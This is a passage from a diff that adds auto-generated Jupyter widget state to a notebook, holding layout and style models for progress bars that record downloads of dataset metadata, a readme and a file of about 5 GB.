+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "40687f7092f94f92a50e4d83c7147f2a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c20eadf22c545a182bec19a81b3d99a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7086056225a44a7fb99f14d9d0a1f4cc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "fe7fbb909b154a4eaf05a906dd2a9c78": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05ea400f1d864062bacb4e3a69312b4c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d6e7d1b10c7d4f5daa699d507c11f2d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b778df9b11374c55ab77e6df61464af9",
+              "IPY_MODEL_0f5c260e80444e38ab3b3cd8b984b9b5",
+              "IPY_MODEL_a75144c534ac462487e2ee23e69ff6d6"
+            ],
+            "layout": "IPY_MODEL_b3b818659e20499e97e1dcfadac5bdb2"
+          }
+        },
+        "b778df9b11374c55ab77e6df61464af9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3f06b0e7f671425a84a8ba1eee6b91b4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ca6bcd38cf654331a5cc2a30f6b1eb60",
+            "value": "Downloading metadata: 100%"
+          }
+        },
+        "0f5c260e80444e38ab3b3cd8b984b9b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2a03ed298064406986a3926002e01c50",
+            "max": 5560,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ad45516b83064a2fb2bfb1b6b4e4a6cc",
+            "value": 5560
+          }
+        },
+        "a75144c534ac462487e2ee23e69ff6d6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_493247940d1f4a1b9f540648539ee570",
+            "placeholder": "​",
+            "style": "IPY_MODEL_bf4f4937407e4ff8b99e12a80df51bbf",
+            "value": " 5.56k/5.56k [00:00&lt;00:00, 236kB/s]"
+          }
+        },
+        "b3b818659e20499e97e1dcfadac5bdb2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3f06b0e7f671425a84a8ba1eee6b91b4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ca6bcd38cf654331a5cc2a30f6b1eb60": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2a03ed298064406986a3926002e01c50": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ad45516b83064a2fb2bfb1b6b4e4a6cc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "493247940d1f4a1b9f540648539ee570": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bf4f4937407e4ff8b99e12a80df51bbf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "df26988483374f13b3f5b5249885314e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_741faf1f52434dc1a50f8f87222d03f9",
+              "IPY_MODEL_c0e1947fff7545a2905b351ca3a37aa7",
+              "IPY_MODEL_ecaf20f7678f4c369c87159eebd764c5"
+            ],
+            "layout": "IPY_MODEL_9f94bd441f5143d09de8e1a2eaaaef47"
+          }
+        },
+        "741faf1f52434dc1a50f8f87222d03f9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_47f36484127b476eb6188c4aea4bdee3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f856eaad87464418971522512a6a49f7",
+            "value": "Downloading readme: 100%"
+          }
+        },
+        "c0e1947fff7545a2905b351ca3a37aa7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6be3d46ddb524492b317001c7f2327b8",
+            "max": 10337,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7ff1fe3c688d4b4a9dbd29802bd37a6f",
+            "value": 10337
+          }
+        },
+        "ecaf20f7678f4c369c87159eebd764c5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e1ffbf12e5c84a6598375408de9664bb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_64b5417ebc974e199543379ef725d1c8",
+            "value": " 10.3k/10.3k [00:00&lt;00:00, 431kB/s]"
+          }
+        },
+        "9f94bd441f5143d09de8e1a2eaaaef47": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "47f36484127b476eb6188c4aea4bdee3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f856eaad87464418971522512a6a49f7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6be3d46ddb524492b317001c7f2327b8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7ff1fe3c688d4b4a9dbd29802bd37a6f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e1ffbf12e5c84a6598375408de9664bb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "64b5417ebc974e199543379ef725d1c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "82acbc3424b14a3583b58739b556045e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ce51e61458384578b179cac6fd5afaba",
+              "IPY_MODEL_97c3a7df99234301af2afbe263071006",
+              "IPY_MODEL_11b963fc16c14db1b2739fc1ee5d891b"
+            ],
+            "layout": "IPY_MODEL_21643d4f04384d738a3a60dbd22989bf"
+          }
+        },
+        "ce51e61458384578b179cac6fd5afaba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_048ff92d3dd94d11a8cbfa850f685113",
+            "placeholder": "​",
+            "style": "IPY_MODEL_96a3a22da4734c9695730d08a19a0a23",
+            "value": "Downloading data: 100%"
+          }
+        },
+        "97c3a7df99234301af2afbe263071006": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_919af07ec8a44e2e992b7aa4fd995ab9",
+            "max": 4996278331,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cd5bea65a88948bd8650bbf04e4e1426",
+            "value": 4996278331
+          }
+        },
+        "11b963fc16c14db1b2739fc1ee5d891b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_baca3a29ad0f4b5e8a5b1980337b30bc",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6b548b8a9ceb4f31b913196c87c1afae",
+            "value": " 5.00G/5.00G [07:58&lt;00:00, 11.9MB/s]"
+          }
+        },
+        "21643d4f04384d738a3a60dbd22989bf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "048ff92d3dd94d11a8cbfa850f685113": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "96a3a22da4734c9695730d08a19a0a23": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
